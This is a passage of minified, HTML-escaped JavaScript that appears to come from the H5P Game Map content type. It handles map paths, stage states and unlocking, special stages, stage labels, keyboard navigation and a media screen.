i=this.params.globals.get(&quot;states&quot;);if(&quot;string&quot;==typeof e&amp;&amp;(e=Object.entries(i).find((t=&gt;t[0]===e))[1]),&quot;number&quot;!=typeof e)return;let a;if(t.force?a=i[e]:e===i.open?a=i.open:e===i.cleared&amp;&amp;(a=i.cleared),!this.state||this.state!==a){this.state=a;for(const[e,t]of Object.entries(i))t!==this.state?this.dom.classList.remove(`h5p-game-map-path-${e}`):this.dom.classList.add(`h5p-game-map-path-${e}`)}},e}();h.MIN_WIDTH_PX=1,h.MAX_FACTOR=.3;let d=function(){function e(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.params=s.extend({elements:{}},e),this.paths=this.buildPaths(this.params.elements)}var t=e.prototype;return t.getDOMs=function(){return this.paths.map((e=&gt;e.getDOM()))},t.buildPaths=function(e){const t=[];if(!Object.keys(e??{}).length)return[];const i=this.params.globals.get(&quot;extras&quot;).previousState?.content?.paths??[],a=[];for(let s in e)(e[s].neighbors||[]).forEach((r=&gt;{if(!a.includes(`${s}-${r}`)&amp;&amp;!a.includes(`${r}-${s}`)){const n=i.find((t=&gt;t.stageIds?.from===e[s].id&amp;&amp;t.stageIds?.to===e[r].id));t.push(new h({globals:this.params.globals,fromId:e[s].id,toId:e[r].id,telemetryFrom:e[s].telemetry,telemetryTo:e[r].telemetry,index:a.length,visuals:this.params.visuals,visible:n?.visible,...n?.state&amp;&amp;{state:n?.state}})),a.push(`${s}-${r}`)}}));return t},t.getCurrentState=function(){return this.paths.map((e=&gt;({stageIds:e.getStageIds(),state:e.getState(),visible:e.isVisible()})))},t.update=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.paths.forEach((t=&gt;{t.resize({mapSize:e.mapSize})}))},t.updateReachability=function(e){this.paths.forEach((t=&gt;{t.setReachable(e.some((e=&gt;t.connectsTo(e))))}))},t.updateState=function(e,t){const i=this.params.globals.get(&quot;params&quot;);if(&quot;free&quot;===i.behaviour.map.roaming)return;const a=this.paths.filter((t=&gt;{const i=t.getStageIds();return i.from===e||i.to===e}));t===this.params.globals.get(&quot;states&quot;).open&amp;&amp;i.visual.paths.displayPaths&amp;&amp;&quot;0&quot;!==i.behaviour.map.fog&amp;&amp;a.forEach((e=&gt;{e.show()})),t===this.params.globals.get(&quot;states&quot;).cleared&amp;&amp;a.forEach((e=&gt;{e.setState(&quot;cleared&quot;),e.show()}))},t.forEach=function(e){for(let t=0;t&lt;this.paths.length;t++)e(this.paths[t],t,this.paths)},t.reset=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.paths.forEach((t=&gt;{t.reset({isInitial:e.isInitial})}))},e}();var p=i(520);const m=function(e){let t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:&quot;&quot;,i=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:()=&gt;{};if(!e)return;if(null===t)return void e.dispatchEvent(new Event(&quot;animationend&quot;));if(&quot;string&quot;!=typeof t)return;const a=window.matchMedia(&quot;(prefers-reduced-motion: reduce)&quot;)?.matches;if(a)return;const s=`animate-${t}`,r=a=&gt;{a.animationName!==t&amp;&amp;void 0!==a.animationName||(e.classList.remove(&quot;animate&quot;),e.classList.remove(s),e.removeEventListener(&quot;animationend&quot;,r),i())};e.addEventListener(&quot;animationend&quot;,r),e.classList.add(&quot;animate&quot;),e.classList.add(s)};let g=function(){function e(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.params=s.extend({position:&quot;bottom&quot;},e),this.dom=document.createElement(&quot;div&quot;),this.dom.classList.add(&quot;h5p-game-map-stage-label-container&quot;),this.dom.classList.add(this.params.position);const t=document.createElement(&quot;div&quot;);t.classList.add(&quot;h5p-game-map-stage-label&quot;),this.dom.appendChild(t),this.labelInner=document.createElement(&quot;div&quot;),this.labelInner.classList.add(&quot;h5p-game-map-stage-label-inner&quot;),this.labelInner.innerText=this.params.text,t.appendChild(this.labelInner),this.hide()}var t=e.prototype;return t.getDOM=function(){return this.dom},t.show=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};e.scale=e.scale??1,this.isShowing()||this.params.text&amp;&amp;(window.requestAnimationFrame((()=&gt;{const t=parseFloat(window.getComputedStyle(this.labelInner).getPropertyValue(&quot;font-size&quot;)),i=Math.floor(this.labelInner.getBoundingClientRect().height);this.dom.classList.toggle(&quot;multiline&quot;,t*e.scale*1.5&lt;i)})),this.dom.classList.toggle(&quot;touch-device&quot;,e.isTouch||!1),e.skipDelay?this.dom.classList.remove(&quot;visibility-hidden&quot;):window.setTimeout((()=&gt;{this.dom.classList.remove(&quot;visibility-hidden&quot;)}),10),this.dom.classList.remove(&quot;display-none&quot;),this.showing=!0)},t.hide=function(){this.dom.classList.add(&quot;visibility-hidden&quot;),window.setTimeout((()=&gt;{this.dom.classList.add(&quot;display-none&quot;)}),0),this.showing=!1},t.isShowing=function(){return this.showing},e}(),f=function(){function e(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this.params=s.extend({accessRestrictions:{openOnScoreSufficient:!1}},e),this.params.type=b.stage,this.params.specialStageType&amp;&amp;(this.params.type=b[&quot;special-stage&quot;]),this.params.state=this.params.state??this.params.globals.get(&quot;states&quot;).locked,this.callbacks=s.extend({onClicked:()=&gt;{},onStateChanged:()=&gt;{},onFocused:()=&gt;{},onBecameActiveDescendant:()=&gt;{},onAddedToQueue:()=&gt;{},onAccessRestrictionsHit:()=&gt;{}},t),this.isDisabledState=!1,this.isAnimating=!1,this.shouldBePlayful=!0,this.isReachableState=!0,this.dom=document.createElement(&quot;button&quot;),this.dom.classList.add(&quot;h5p-game-map-stage&quot;),this.dom.setAttribute(&quot;id&quot;,`stage-button-${this.params.id}`),this.dom.addEventListener(&quot;click&quot;,(e=&gt;{this.handleClick(e)})),this.dom.addEventListener(&quot;focus&quot;,(()=&gt;{this.callbacks.onFocused(this.params.id)})),this.params.globals.get(&quot;params&quot;).behaviour.map.showLabels&amp;&amp;(this.dom.addEventListener(&quot;mouseenter&quot;,(e=&gt;{this.handleMouseOver(e)})),this.dom.addEventListener(&quot;focus&quot;,(e=&gt;{this.handleMouseOver(e)})),this.dom.addEventListener(&quot;mouseleave&quot;,(()=&gt;{this.handleMouseOut()})),this.dom.addEventListener(&quot;blur&quot;,(e=&gt;{this.handleMouseOut(e)}))),this.content=document.createElement(&quot;div&quot;),this.content.classList.add(&quot;h5p-game-map-stage-content&quot;),this.content.classList.add(&quot;dark-text&quot;),this.dom.appendChild(this.content),this.contentComputedStyle=window.getComputedStyle(this.content);const i=this.params.telemetry.y&lt;50?&quot;bottom&quot;:&quot;top&quot;;this.label=new g({position:i,text:this.params.label}),this.dom.appendChild(this.label.getDOM()),this.setState(this.params.state),this.setTabIndex(&quot;-1&quot;),this.params.visible?this.show():this.hide(),this.update(e.telemetry)}var t=e.prototype;return t.getDOM=function(){return this.dom},t.getId=function(){return this.params.id},t.getLabel=function(){return this.params.label},t.getType=function(){return this.params.type},t.getNeighbors=function(){return this.params.neighbors},t.isVisible=function(){return this.isVisibleState},t.setReachable=function(e){&quot;boolean&quot;==typeof e&amp;&amp;(this.isReachableState=e,this.isReachable()||this.hide())},t.isReachable=function(){return this.isReachableState},t.togglePlayfulness=function(e){this.shouldBePlayful=&quot;boolean&quot;==typeof e?e:!this.shouldBePlayful},t.focus=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.skipNextFocusHandler=e.skipNextFocusHandler,this.dom.focus()},t.updateAriaLabel=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};const t=e.customText||this.params.dictionary.get(&quot;a11y.stageButtonLabel&quot;).replace(/@stagelabel/,this.params.label);let i;this.state===this.params.globals.get(&quot;states&quot;).locked||this.state===this.params.globals.get(&quot;states&quot;).unlocking?i=this.params.dictionary.get(&quot;a11y.locked&quot;):this.state!==this.params.globals.get(&quot;states&quot;).completed&amp;&amp;this.state!==this.params.globals.get(&quot;states&quot;).cleared||(i=this.params.dictionary.get(&quot;a11y.cleared&quot;));const a=e.customState||i,s=[t];a&amp;&amp;s.push(a),this.dom.setAttribute(&quot;aria-label&quot;,s.join(&quot;. &quot;))},t.addEventListener=function(e,t){this.dom.addEventListener(e,t)},t.removeEventListener=function(e,t){this.dom.removeEventListener(e,t)},t.canBeStartStage=function(){return this.params.canBeStartStage||!1},t.getAccessRestrictions=function(){return this.params.accessRestrictions},t.show=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};if(!this.isReachable())return;const t=()=&gt;{this.dom.classList.remove(&quot;display-none&quot;),window.requestAnimationFrame((()=&gt;{this.dom.classList.remove(&quot;transparent&quot;)}))};e.queue?this.callbacks.onAddedToQueue((()=&gt;{t()})):t(),this.isVisibleState=!0},t.hide=function(){this.dom.classList.add(&quot;display-none&quot;),this.dom.classList.add(&quot;transparent&quot;),this.isVisibleState=!1},t.unlock=function(){if(this.state===this.params.globals.get(&quot;states&quot;).locked||this.state===this.params.globals.get(&quot;states&quot;).unlocking){if(&quot;number&quot;==typeof this.params?.accessRestrictions?.minScore&amp;&amp;this.params?.accessRestrictions?.minScore&gt;this.params.globals.get(&quot;getScore&quot;)())return void this.setState(&quot;unlocking&quot;);this.params.globals.get(&quot;read&quot;)(this.params.dictionary.get(&quot;a11y.stageUnlocked&quot;).replace(/@stagelabel/,this.params.label)),this.setState(&quot;open&quot;)}},t.update=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};for(let t in e){&quot;string&quot;==typeof e[t]&amp;&amp;(e[t]=parseFloat(e[t]));let i=t;if(&quot;x&quot;===t)i=&quot;left&quot;;else{if(&quot;y&quot;!==t)return;i=&quot;top&quot;}this.dom.style.setProperty(`--stage-${i}`,`${e[t]}%`)}},t.updateColor=function(){if(!this.dom.isConnected)return;const e=p(this.contentComputedStyle.getPropertyValue(&quot;background-color&quot;)),t=this.contentComputedStyle.getPropertyValue(&quot;--stage-color-contrast-dark&quot;),i=this.contentComputedStyle.getPropertyValue(&quot;--stage-color-contrast-light&quot;),a=e.contrast(p(t)),s=e.contrast(p(i));this.content.classList.toggle(&quot;dark-text&quot;,a&gt;s),this.content.classList.toggle(&quot;light-text&quot;,a&lt;=s),e.isDark()?this.content.style.setProperty(&quot;--stage-color-border&quot;,e.darken(.3).rgb().string()):this.content.style.setProperty(&quot;--stage-color-border&quot;,e.lighten(.3).rgb().string())},t.enable=function(){this.isDisabledState=!1,this.dom.removeAttribute(&quot;disabled&quot;)},t.disable=function(){this.dom.setAttribute(&quot;disabled&quot;,&quot;disabled&quot;),this.isDisabledState=!0},t.animate=function(e){&quot;string&quot;!=typeof e||this.isAnimating||this.params.globals.get(&quot;params&quot;).visual.misc.useAnimation&amp;&amp;(this.isAnimating=!0,m(this.dom,e,(()=&gt;{this.isAnimating=!1})))},t.handleClick=function(){if(!this.isDisabledState){if(this.label.hide(),this.state===this.params.globals.get(&quot;states&quot;).locked||this.state===this.params.globals.get(&quot;states&quot;).unlocking||this.state===this.params.globals.get(&quot;states&quot;).sealed)return this.animate(&quot;shake&quot;),this.params.jukebox.play(&quot;clickStageLocked&quot;),void(&quot;number&quot;!=typeof this.params.accessRestrictions?.minScore||this.state!==this.params.globals.get(&quot;states&quot;).locked&amp;&amp;this.state!==this.params.globals.get(&quot;states&quot;).unlocking||this.callbacks.onAccessRestrictionsHit({id:this.params.id,minScore:this.params.accessRestrictions?.minScore}));this.callbacks.onClicked(this.params.id,this.state)}},t.handleMouseOver=function(e){if(this.skipNextFocusHandler)return void(this.skipNextFocusHandler=!1);if(this.isDisabledState)return;if(s.supportsTouch())return;let t=parseFloat(window.getComputedStyle(this.dom).getPropertyValue(&quot;scale&quot;));t=Number.isNaN(t)?1:t,this.label.show({skipDelay:e instanceof FocusEvent,scale:t})},t.handleMouseOut=function(){s.supportsTouch()||this.label.hide()},t.reset=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.setReachable(!0);const t=e.isInitial?this.params.state:this.params.globals.get(&quot;states&quot;).locked;this.setState(t),[this.params.globals.get(&quot;states&quot;).locked,this.params.globals.get(&quot;states&quot;).unlocking].includes(t)&amp;&amp;this.setTabIndex(&quot;-1&quot;),this.shouldBePlayful=!0,e.isInitial&amp;&amp;this.params.visible?this.show():this.hide()},t.getState=function(){return this.state},t.setState=function(t){let i=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};const a=this.params.globals.get(&quot;states&quot;),s=this.params.globals.get(&quot;params&quot;);if(&quot;string&quot;==typeof t&amp;&amp;(t=Object.entries(a).find((e=&gt;e[0]===t))[1]),&quot;number&quot;!=typeof t)return;let r;if(i.force?r=a[t]:t===a.locked?r=a.locked:t===a.unlocking?(r=a.unlocking,this.show()):t===a.open||t===a.opened?(this.state!==a.completed&amp;&amp;this.state!==a.cleared&amp;&amp;(r=a.open),this.show()):t!==a.completed||&quot;free&quot;!==s.behaviour.map.roaming&amp;&amp;&quot;complete&quot;!==s.behaviour.map.roaming?t===a.cleared?r=a.cleared:t===a.sealed&amp;&amp;(r=a.sealed):r=a.cleared,&quot;number&quot;==typeof r&amp;&amp;(!this.state||this.state!==r)){this.state=r;const t=()=&gt;{for(const[e,t]of Object.entries(a))t!==this.state?this.content.classList.remove(`h5p-game-map-stage-${e}`):this.content.classList.add(`h5p-game-map-stage-${e}`);this.updateAriaLabel(),window.requestAnimationFrame((()=&gt;{this.updateColor()})),this.shouldBePlayful&amp;&amp;(r===a.open||r===a.opened?(this.animate(&quot;bounce&quot;),this.params.jukebox.play(&quot;unlockStage&quot;)):r===a.cleared&amp;&amp;(this.animate(&quot;bounce&quot;),this.params.jukebox.play(&quot;clearStage&quot;)))},i={};this.shouldBePlayful?r===a.cleared?i.block=e.ANIMATION_CLEARED_BLOCK_MS:r===a.sealed&amp;&amp;(i.skipQueue=!0):i.block=0,this.callbacks.onAddedToQueue(t,i),this.callbacks.onStateChanged(this.params.id,this.state)}},t.setTabIndex=function(e){let t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};&quot;number&quot;!=typeof e&amp;&amp;&quot;string&quot;!=typeof e||(this.dom.setAttribute(&quot;tabindex&quot;,`${e}`),&quot;0&quot;!==e||t.skipActiveDescendant||this.callbacks.onBecameActiveDescendant(this.params.id))},e}();f.ANIMATION_CLEARED_BLOCK_MS=1e3;const b={stage:0,&quot;special-stage&quot;:1};function y(e,t){return y=Object.setPrototypeOf?Object.setPrototypeOf.bind():function(e,t){return e.__proto__=t,e},y(e,t)}let v=function(e){var t,i;function a(){var t;let i=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},a=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};return(t=e.call(this,i,a)||this).content.classList.add(t.params.specialStageType),t.getState()===t.params.globals.get(&quot;states&quot;).cleared&amp;&amp;t.disable(),t}return i=e,(t=a).prototype=Object.create(i.prototype),t.prototype.constructor=t,y(t,i),a.prototype.runSpecialFeature=function(e){&quot;finish&quot;===this.params.specialStageType?e.showFinishConfirmation():&quot;extra-life&quot;===this.params.specialStageType?(e.addExtraLives(this.params.specialStageExtraLives??0),this.setState(this.params.globals.get(&quot;states&quot;).cleared),e.handleSpecialFeatureRun(&quot;extra-life&quot;),this.disable()):&quot;extra-time&quot;===this.params.specialStageType&amp;&amp;(e.addExtraTime(this.params.specialStageExtraTime??0),this.setState(this.params.globals.get(&quot;states&quot;).cleared),e.handleSpecialFeatureRun(&quot;extra-time&quot;),this.disable())},a}(f),w=function(){function e(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this.params=s.extend({elements:{}},e),this.callbacks=s.extend({onStageClicked:()=&gt;{},onStageStateChanged:()=&gt;{},onStageFocused:()=&gt;{},onBecameActiveDescendant:()=&gt;{},onAddedToQueue:()=&gt;{},onAccessRestrictionsHit:()=&gt;{}},t),this.handleSelectionKeydown=this.handleSelectionKeydown.bind(this),this.stages=this.buildStages(this.params.elements)}var t=e.prototype;return t.getDOMs=function(){return this.stages.map((e=&gt;e.getDOM()))},t.buildStages=function(e){var t=this;const i=[];if(!Object.keys(e??{}).length)return[];const a=this.params.globals.get(&quot;extras&quot;).previousState?.content?.stages??[];for(let s in e){const r=e[s],n=r.neighbors.map((t=&gt;e[parseInt(t)].id)),o=a.find((e=&gt;e.id===r.id)),l={id:r.id,dictionary:this.params.dictionary,globals:this.params.globals,jukebox:this.params.jukebox,canBeStartStage:r.canBeStartStage,accessRestrictions:r.accessRestrictions,...r.contentType&amp;&amp;{contentType:r.contentType},specialStageType:r.specialStageType,...r.specialStageExtraLives&amp;&amp;{specialStageExtraLives:r.specialStageExtraLives},...r.specialStageExtraTime&amp;&amp;{specialStageExtraTime:r.specialStageExtraTime},label:r.label,neighbors:n,telemetry:r.telemetry,visuals:this.params.visuals,visible:o?.visible,...o?.state&amp;&amp;{state:o?.state}},c={onClicked:(e,t)=&gt;{this.callbacks.onStageClicked(e,t)},onStateChanged:(e,t)=&gt;{this.callbacks.onStageStateChanged(e,t)},onFocused:e=&gt;{this.selectionStage||this.callbacks.onFocused(),this.handleStageFocused(e)},onBecameActiveDescendant:e=&gt;{this.callbacks.onBecameActiveDescendant(e)},onAddedToQueue:(e,t)=&gt;{this.callbacks.onAddedToQueue(e,t)},onAccessRestrictionsHit:function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};t.callbacks.onAccessRestrictionsHit(e)}},u=r.specialStageType?new v(l,c):new f(l,c);i.push(u)}return i},t.gatherSubGraphIds=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:[],t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:[];if(0===e.length)return t;const i=(e,t,i)=&gt;i.indexOf(e)===t,a=e.reduce(((e,t)=&gt;[...e,...this.getStage(t).getNeighbors()]),[]).filter((i=&gt;!t.includes(i)&amp;&amp;!e.includes(i))).filter(i);return[...t,...this.gatherSubGraphIds(a,e)].filter(i)},t.updateReachability=function(e){this.stages.forEach((t=&gt;{t.setReachable(e.includes(t.getId()))}))},t.enable=function(){this.stages.forEach((e=&gt;{e.enable()}))},t.disable=function(){this.stages.forEach((e=&gt;{e.disable()}))},t.getCount=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},t=[...this.stages].filter((e=&gt;e.isReachable()));e=s.extend({filters:{}},e);for(const i in e.filters)t=t.filter((t=&gt;&quot;state&quot;!==i||e.filters[i].includes(t.getState())));return t.length},t.getStage=function(e){return this.stages.find((t=&gt;t.getId()===e))},t.getCurrentState=function(){return this.stages.map((e=&gt;({id:e.getId(),state:e.getState(),visible:e.isVisible()})))},t.updateState=function(e,t){const i=this.getStage(e);i&amp;&amp;i.setState(t)},t.updateUnlockingStages=function(){if(&quot;free&quot;===this.params.globals.get(&quot;params&quot;).behaviour.map.roaming)return;this.stages.filter((e=&gt;e.getState()===this.params.globals.get(&quot;states&quot;).unlocking&amp;&amp;e.getAccessRestrictions().openOnScoreSufficient)).forEach((e=&gt;{e.unlock()}))},t.updateNeighborsState=function(e,t){const i=this.params.globals.get(&quot;params&quot;);if(&quot;free&quot;===i.behaviour.map.roaming)return;const a=this.getStage(e);if(!a)return;const s=a.getNeighbors();t===this.params.globals.get(&quot;states&quot;).open&amp;&amp;&quot;0&quot;!==i.behaviour.map.fog&amp;&amp;s.forEach((e=&gt;{const t=this.getStage(e);t&amp;&amp;t.show({queue:!0})})),t===this.params.globals.get(&quot;states&quot;).cleared&amp;&amp;s.forEach((e=&gt;{const t=this.getStage(e);t&amp;&amp;t.unlock()}))},t.unlockStage=function(e){if(&quot;string&quot;!=typeof e)return;const t=this.stages.find((t=&gt;t.getId()===e));t&amp;&amp;t.unlock()},t.setStartStages=function(){let e=this.stages.filter((e=&gt;e.canBeStartStage()));return e.length||(e=this.stages.filter((e=&gt;e.getType()===b.stage))),e=[e[Math.floor(Math.random()*e.length)]],e.forEach(((e,t)=&gt;{e.unlock(),0===t&amp;&amp;e.setTabIndex(&quot;0&quot;)})),this.gatherSubGraphIds(e.map((e=&gt;e.getId())))},t.getNextOpenStage=function(){return this.stages.filter((e=&gt;{const t=e.getState();return t===this.params.globals.get(&quot;states&quot;).open||t===this.params.globals.get(&quot;states&quot;).opened}))[0]||null},t.handleStageFocused=function(e){this.selectionNeighbors?.map((e=&gt;e.getId())).includes(e)||(this.stages.forEach((t=&gt;{t.getId()!==e?t.setTabIndex(&quot;-1&quot;):t.setTabIndex(&quot;0&quot;),t.removeEventListener(&quot;keydown&quot;,this.handleSelectionKeydown)})),this.selectionStage=this.stages.find((t=&gt;t.getId()===e)),this.selectionNeighbors=this.selectionStage.getNeighbors().map((e=&gt;this.stages.find((t=&gt;t.getId()===e)))),this.highlightedStageId=0,this.selectionStages=[this.selectionStage,...this.selectionNeighbors],this.selectionStages.forEach((e=&gt;{e.addEventListener(&quot;keydown&quot;,this.handleSelectionKeydown)})))},t.handleSelectionKeydown=function(e){if(![&quot;ArrowLeft&quot;,&quot;ArrowRight&quot;,&quot; &quot;,&quot;Enter&quot;,&quot;Escape&quot;,&quot;Tab&quot;].includes(e.key))return;const t=this.selectionStages[this.highlightedStageId];&quot;ArrowLeft&quot;===e.key?(0!==this.highlightedStageId&amp;&amp;(t.setTabIndex(&quot;-1&quot;),t.updateAriaLabel()),this.highlightStage(this.highlightedStageId=(this.highlightedStageId+1)%this.selectionStages.length),e.preventDefault()):&quot;ArrowRight&quot;===e.key?(0!==this.highlightedStageId&amp;&amp;(t.setTabIndex(&quot;-1&quot;),t.updateAriaLabel()),this.highlightStage((this.highlightedStageId+this.selectionStages.length-1)%this.selectionStages.length),e.preventDefault()):&quot; &quot;===e.key||&quot;Enter&quot;===e.key?0!==this.highlightedStageId&amp;&amp;(this.selectionStages[0].setTabIndex(&quot;-1&quot;),this.selectionNeighbors=null,t.updateAriaLabel(),t.animate(&quot;pulse&quot;),this.params.globals.get(&quot;read&quot;)(this.params.dictionary.get(&quot;a11y.movedToStage&quot;).replace(/@stagelabel/,t.getLabel())),window.setTimeout((()=&gt;{t.getDOM().blur(),t.getDOM().focus()}),100),e.preventDefault()):&quot;Escape&quot;===e.key?(t.setTabIndex(&quot;-1&quot;),t.updateAriaLabel(),this.highlightStage(0)):&quot;Tab&quot;===e.key&amp;&amp;(0!==this.highlightedStageId&amp;&amp;(t.setTabIndex(&quot;-1&quot;),t.updateAriaLabel()),this.selectionStage=null,this.selectionNeighbors=null,this.selectionStages=null)},t.highlightStage=function(e){if(!Array.isArray(this.selectionStages)||e&gt;this.selectionStages.length)return;this.highlightedStageId=e;const t=this.selectionStages[this.highlightedStageId];0!==e&amp;&amp;t.updateAriaLabel({customText:this.params.dictionary.get(&quot;a11y.adjacentStageLabel&quot;).replace(/@stagelabelOrigin/,this.selectionStages[0].getLabel()).replace(/@stagelabelNeighbor/,t.getLabel())}),t.setTabIndex(&quot;0&quot;,{skipActiveDescendant:!0}),t.focus()},t.setTabIndex=function(e,t){const i=this.stages.find((t=&gt;t.getId()===e));i&amp;&amp;i.setTabIndex(t)},t.togglePlayfulness=function(e){&quot;boolean&quot;==typeof e&amp;&amp;this.stages.forEach((e=&gt;{e.togglePlayfulness(!1)}))},t.forEach=function(e){for(let t=0;t&lt;this.stages.length;t++)e(this.stages[t],t,this.stages)},t.reset=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.stages.forEach((t=&gt;{t.reset({isInitial:e.isInitial})}))},e}(),S=function(){function e(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this.params=s.extend({buttons:[],l10n:{buttonText:&quot;Close&quot;},a11y:{screenOpened:&quot;Screen was opened&quot;}},e),this.callbacks=s.extend({onButtonClicked:()=&gt;{},onRead:()=&gt;{}},t),this.buttons=[],this.dom=this.buildDOM(),this.visuals=this.buildVisualsElement(this.params.medium),this.dom.append(this.visuals),this.setMedium(this.params.medium),this.introduction=this.buildIntroduction(),this.setIntroduction(this.params.introduction),this.dom.append(this.introduction),this.content=this.buildContent(),this.setContent(this.params.content),this.dom.append(this.content);const i=document.createElement(&quot;div&quot;);i.classList.add(&quot;media-screen-buttons-wrapper&quot;),this.dom.append(i),this.params.buttons.forEach((e=&gt;{const t=this.buildButton(e.id,e.text,e.className);i.append(t),this.buttons.push(t)}))}var t=e.prototype;return t.getDOM=function(){return this.dom},t.buildDOM=function(){const e=document.createElement(&quot;div&quot;);return e.classList.add(&quot;media-screen&quot;),this.params.id&amp;&amp;e.classList.add(this.params.id),e},t.buildVisualsElement=function(){const e=document.createElement(&quot;div&quot;);return e.classList.add(&quot;media-screen-medium&quot;),e},t.buildBar=function(){const e=document.createElement(&quot;div&quot;);return e.classList.add(&quot;media-screen-bar&quot;),e},t.buildIntroduction=function(){const e=document.createElement(&quot;div&quot;);return e.classList.add(&quot;media-screen-introduction&quot;),e},t.buildContent=function(){const e=document.createElement(&quot;div&quot;);return e.classList.add(&quot;media-screen-content&quot;),e},t.buildButton=function(e,t,i){const a=document.createElement(&quot;button&quot;);i&amp;&amp;a.classList.add(i),a.innerText=t,a.addEventListener(&quot;click&quot;,(()=&gt;{this.hide(),this.callbacks.onButtonClicked(e)}));const s=document.createElement(&quot;div&quot;);return i||s.classList.add(&quot;media-screen-button&quot;),s.classList.add(`media-screen-button-${e}`),s.appendChild(a),s},t.setIntroduction=function(e){e?(this.introduction.innerHTML=e,this.introduction.classList.remove(&quot;display-none&quot;)):this.introduction.classList.add(&quot;display-none&quot;)},t.setContent=function(e){e?(this.content.innerHTML=&quot;&quot;,this.content.append(e),this.content.classList.remove(&quot;display-none&quot;)):this.content.classList.add(&quot;display-none&quot;)},t.setMedium=function(e){if(this.medium=e,this.mediumFile=this.getMediumFile(e),this.mediumFile){const e=this.buildVisualsElement(this.params.medium);this.dom.replaceChild(e,this.visuals),this.visuals=e,s.callOnceVisible(this.dom,(()=&gt;{this.initMedia()}),{root:document.documentElement})}else this.visuals.classList.add(&quot;display-none&quot;)},t.getMediumFile=function(e){return e?.params?.file?e.params.file:Array.isArray(e?.params?.sources)&amp;&amp;e.params.sources.length?e.params.sources[0]:null},t.initMedia=function(){if(this.visuals&amp;&amp;this.mediumFile&amp;&amp;void 0!==this.params.contentId){if(&quot;H5P.Video&quot;===(this.medium.library||&quot;&quot;).split(&quot; &quot;)[0]&amp;&amp;(this.medium.params.visuals.fit=!1),H5P.newRunnable(this.medium,this.params.contentId,H5P.jQuery(this.visuals),!1,{metadata:this.medium.medatata}),&quot;H5P.Image&quot;===(this.medium.library||&quot;&quot;).split(&quot; &quot;)[0]){const e=this.visuals.querySelector(&quot;img&quot;)||this.visuals.querySelector(&quot;.h5p-placeholder&quot;);e.style.height=&quot;auto&quot;,e.style.width=&quot;auto&quot;}this.visuals.appendChild(this.buildBar())}},t.show=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.dom.classList.remove(&quot;display-none&quot;),e.readOpened&amp;&amp;this.callbacks.read(this.params.a11y.screenOpened),window.setTimeout((()=&gt;{e.focusButton&amp;&amp;this.buttons.length&amp;&amp;this.buttons[0].querySelector(&quot;button&quot;).focus()}),100)},t.hide=function(){this.dom.classList.add(&quot;display-none&quot;)},e}();function x(e,t){return x=Object.setPrototypeOf?Object.setPrototypeOf.bind():function(e,t){return e.__proto__=t,e},x(e,t)}let k=function(e){var t,i;function a(){let t=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},i=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};return e.call(this,t,i)||this}return i=e,(t=a).prototype=Object.create(i.prototype),t.prototype.constructor=t,x(t,i),a}(S);function E(e,t){return E=Object.setPrototypeOf?Object.setPrototypeOf.bind():function(e,t){return e.__proto__=t,e},E(e,t)}let A=function(e){var t,i;function a(){let t=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},i=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};return e.call(this,t,i)||this}return i=e,(t=a).prototype=Object.create(i.prototype),t.prototype.constructor=t,E(t,i),a}(S),D=function(){function e(){let t=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},i=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this.params=s.extend({},t),this.callbacks=s.extend({onImageLoaded:()=&gt;{}},i),this.dom=document.createElement(&quot;div&quot;),this.dom.classList.add(&quot;h5p-game-map-map&quot;);const 